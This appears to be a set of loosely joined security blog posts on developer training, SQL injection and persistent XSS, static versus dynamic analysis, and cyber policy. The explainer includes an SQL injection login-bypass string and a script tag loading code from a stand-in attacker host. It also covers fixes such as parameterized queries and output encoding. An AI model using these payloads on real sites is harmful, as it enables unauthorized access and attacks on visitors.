The root cause of software security vulnerabilities typically start with developers (minus issues created by poorly configured production environments and such), but it’s really not their fault. We train software developers to think functionally. If I click this button, this action occurs. What we don’t teach developers is what if a user clicks the button repeatedly? How could an attacker misuse/abuse an application to make it do things outside of the intended design? Most universities are not teaching secure coding. If they are, it’s usually graduate level. Have you looked at one of those “Lean x Language in 24 Hours” books? Some of the examples have security vulnerabilities. I can fully appreciate not wanting to overwhelm a new developer, but the security education has to come at some point. As usual, security is something that gets bolted on later.

Educating developers on software security is an interesting topic because not many people are trying to solve the problem. The focus is more on buying software or consulting services. Today if you want software security training you’re limited to consultant lead classes, CBTs, or self study through the handful of books available. Consultant lead classes tend to be Death by PowerPoint and CBTs are really just another form of Death by PowerPoint. Early in my training career, I delivered mostly PowerPoint training with some hands-on exercises. What I found was that developers didn’t retain enough information to fix their code. I added more hands-on exercises and retention got much better. I already knew that developers learn best by doing, but I didn’t realize just how much a difference it would make.

I haven’t tested this theory, but I believe the absolute best way to train developers would be through a software security project over a few weeks. Start with an idea for an application and move through each step of the software development life cycle with the current security activities. Include security in the requirements phase and architecture design. Do threat analysis and feed the results into the architecture design. Write code and perform code reviews. Test code functionally, but also include misuse/abuse cases. Grab some vulnerability analysis tools and run scans. Write deployment documentation including security and harden production environment. Application development with security from soup to nuts. After going through the exercise, developers will be much better equipped to replicate the experience.

http://www.net-security.org/secworld.php?id=12169

The attack inserts a malicious JavaScript tag into your page redirecting your users to the attacker’s site. This is probably just semantics, but they are missing another vulnerability here: persistent cross site scripting.

For those not aware of what SQL Injection is, this vulnerability occurs when unvalidated data is mixed with SQL logic to change the nature of a SQL query. That may be a little confusing, so here’s an example. Let’s say you have a login page that has two text boxes: one for a username and one for a password. When the user clicks submit, the information is put into a SQL query to see if the user is exists:

SELECT username FROM users WHERE username=’username’ AND password=’password’;

That looks pretty simple. If I put “eric” as the username and “1234″ as the password, the query looks like:

SELECT username FROM users WHERE username=’eric’ AND password=’1234′;

But what if I put “1234′ or ’1′=’1″ in the password field?

SELECT username FROM users WHERE username=’username’ AND password=’1234′ or ’1′=’1′;

For the non-SQL folks, that will retrieve all records in user table, because it’s asking “give me all rows where username=x and password=x or when 1=1″. 1 will always equal 1, so every row will be returned. In the case of this attack, attackers were able to insert a script tag into the database that eventually gets inserted into the HTML of the site. That is where persistent cross site scripting comes in.

Cross site scripting (or XSS for short) is where untrusted/unvalidated data is inserted into the page. There are three main types of XSS. but let’s focus on the persistent flavor. Persistent XSS occurs when data is retrieved from the database and inserted into the page without being validated and encoded. What’s the problem with that? This is always a hard pill for developers to swallow, but your database is not a trusted store for data. See the above example for why! 

To demonstrate persistent XSS, let’s say that the content of a blog article is stored in your application’s database. You want to post that article on your blog, so that data is pulled out of the database and inserted into the page. The article content looks like this:

The Auburn Tigers successfully routed the University of Virginia in the Chick-fil-a bowl! The Tigers will graduate very few seniors, so let’s hope for a better season next year.

Inserting that directly into a page doesn’t look bad, but if I use the SQL Injection attack above to edit the content of this article I could attack your users:

The Auburn Tigers successfully routed the University of Virginia in the Chick-fil-a bowl! The Tigers will graduate very few seniors, so let’s hope for a better season next year. <script src=”http://evilhacker.ru/youjustgothacked.js”>

When any user visits the page with the article, the JavaScript from evilhacker.ru will execute. This could do many things, but the most popular is redirecting to a malicious site where the attacker has control over the entire session. 

So the SQL Injection sets up the attack, but the persistent XSS is actually the vulnerability being exploited here. If the persistent XSS was fixed, then no redirect. SQL Injection is still a serious vulnerability (#1 on OWASP Top 10) that should be fixed immediately.

So how do you fix these vulnerabilities? I can write entire blog posts for these attacks…but here’s a quick explanation.

First, a word about input validation. NEVER trust data that comes from a source you don’t control. Data from a user, web service, database, external system, are outside the sphere of influence of the application, so VALIDATE the data. 

The best way to fix SQL Injection is to use parameterized queries. Parameterization is basically putting place holders into your SQL query, and the letting your platform insert the data for you. This will fix the vast majority of SQL Injection issues. Every platform is a little different, so try googling “parameterizing SQL queries” for your specific language to get an example.

For cross site scripting, the best fix is using encoding. If the data is being inserted into HTML, use HTML encoding. This will encode all of the malicious characters, not allowing them to be executed. Not all encoding libraries are good enough. Check out the OWASP ESAPI or the Anti-XSS Library from Microsoft if you’re using .NET.

It is true that many techie types are suspicious of government, but I believe you could find a core group of people who would be willing to volunteer. They could form a new reserve service under USCYBERCOM using same model they have for the reserves now: train one weekend a month and be ready if needed. One caveat, no required PT! That would likely be a deal breaker for many. Hacking is a couch sport, so being able to run 3 miles or do 100 pushups doesn’t help. Multitasking skills, such as attacking targets while eating Cheetos and watching Family Guy, would be a better fit.

On another note, I think this line of progress will lead to a large swell in the size of the security community. When software development was young, you couldn’t just pluck some guy off the street and have him writing code in a couple of weeks. Now, IDEs and frameworks have matured so much that you can teach monkeys how to write code. Over time, the tools used for attacking/protecting targets will get better. You will still need good people planning things, but you will see more worker bees with less experience/education in security actually doing the work.

In the article they allude to sharing code between cities. Code sharing is always beneficial, but thinking about graduating seniors writing and and sharing code makes me think security nightmare. Only a hand full of colleges are doing a decent job of educating future developers on writing secure code. I hope that Mrs. Pahlka has some security expertise lined up…

http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/

Hack away.

Pros
In the security world, the big fight is between static versus dynamic analysis. By dynamic, most people talk about penetration testing. The results from automated penetration tools usually contain low amounts of false positives, but your test is dependant on the tests ran by the tool. Pen-testing tools can and do miss vulnerabilities. Static analysis on the other scans ALL code. If there are vulnerabilities in the corners of your application that are typically not used, then static analysis has a higher probability of finding these vulnerabilities. In addition to finding obscure vulnerabilities, static analysis can also find more categories of vulnerabilities. Automated pen-test tools are limited because they can only see http responses. Static analysis tools can apply rules that are more focused on your development platforms.

Cons
The biggest argument against static analysis is it produces too many false positives. The common misconception here is that the tool is not saying “this is vulnerable”, the tool is actually saying “this is potentially vulnerable and needs to be audited to be sure”. Yes this creates a lot of work, but this argument really only applies to first time scans. Most of the major static analysis applications are rule based and give better results over time. After the initial triage, you suppress false positives and create custom rules to make the scan more context specific. For example, on the mailing list someone referred to static analysis tools producing false positives on custom memory management libraries. This is true, out of the box most scanners are going to flag this because they don’t know what the library does and want human eyes to verify. If you’re using Fortify SCA, you can write a custom rule to eliminate those false positives in the future. Because I’m a Fortify consultant, I know that the more you tailor our static analysis software to your application the better your results set. Static analysis shouldn’t be a one shot scan, it should be used continually throughout development and testing.

Conclusion
In the end, it’s not static analysis versus dynamic analysis. In reality, you should be using BOTH. Static analysis is going to give you a sense of how secure you code is. Penetration testing is going to find easily exploitable vulnerabilities. If you are concerned about false positives with static analysis, check out Fortify Program Trace Analyzer (PTA). PTA does static analysis automatically as you are doing functional testing. The results are extremely conservative. If PTA finds a vulnerability, you can usually take it to the bank.

Is North Korea getting smart? Even though they are making advances in their missile technology, they would still get spanked if they went to war with pretty much any of the major nations. In cyberspace though, they could rival the abilities of the major nations.

Even with a small group of hackers, North Korea could plan massive attacks against pretty much anyone they want. Imagine them developing or purchasing a botnet, then using this botnet to launch a Denial of Service attack. These attacks are nearly impossible to block and it would be difficult to trace the attack back to North Korea.

Given the success of this attack, I would expect to see more of this from North Korea in the future. This further underscores the importance of the DoD cyberspace initiatives.

Update: Plot Thickens

There’s more info out now that says this could be a botnet and that some South Koreans are being hit with a virus. The attack is also ongoing…this should be interesting. 

I’m happy to hear questions like this because it’s putting the focus where it needs to be: on developers. For far too long security has been focused on the network. I can’t remember where the statistic came from, but I think ~75% of breaches last year were application based. Training developers to stop vulnerabilities early in the SDLC is the best way of shrinking that percentage.

Teaching developers about hacking techniques is important. I believe Sun Tzu said “know thy enemy” and that was hundreds of years ago. With that being said, developers do not need to know everything about hacking techniques. If an individual developer is interested in software security, encourage them to learn more. This type of developer is referred to as a “satellite” in Building Security In Maturity Model (BIMM). Satellites can be extremely useful in raising the awareness of software security and sharing ways to stop vulnerabilities. In BIMM, they are a crucial part of the success of the Software Security Group (SSG).

Every developer should have a crash course in software security covering the consequences of writing insecure software and the most common attacks. I think the focus should be on writing better software; specifically writing reusable software that emphasizes security. Keeping developers trained on writing secure software is difficult, so its better to take them out of the loop. Try to break your applications up into pieces and use secure frameworks to move information between the layers. This is a much better approach than relying on every developer to know how to prevent security vulnerabilities.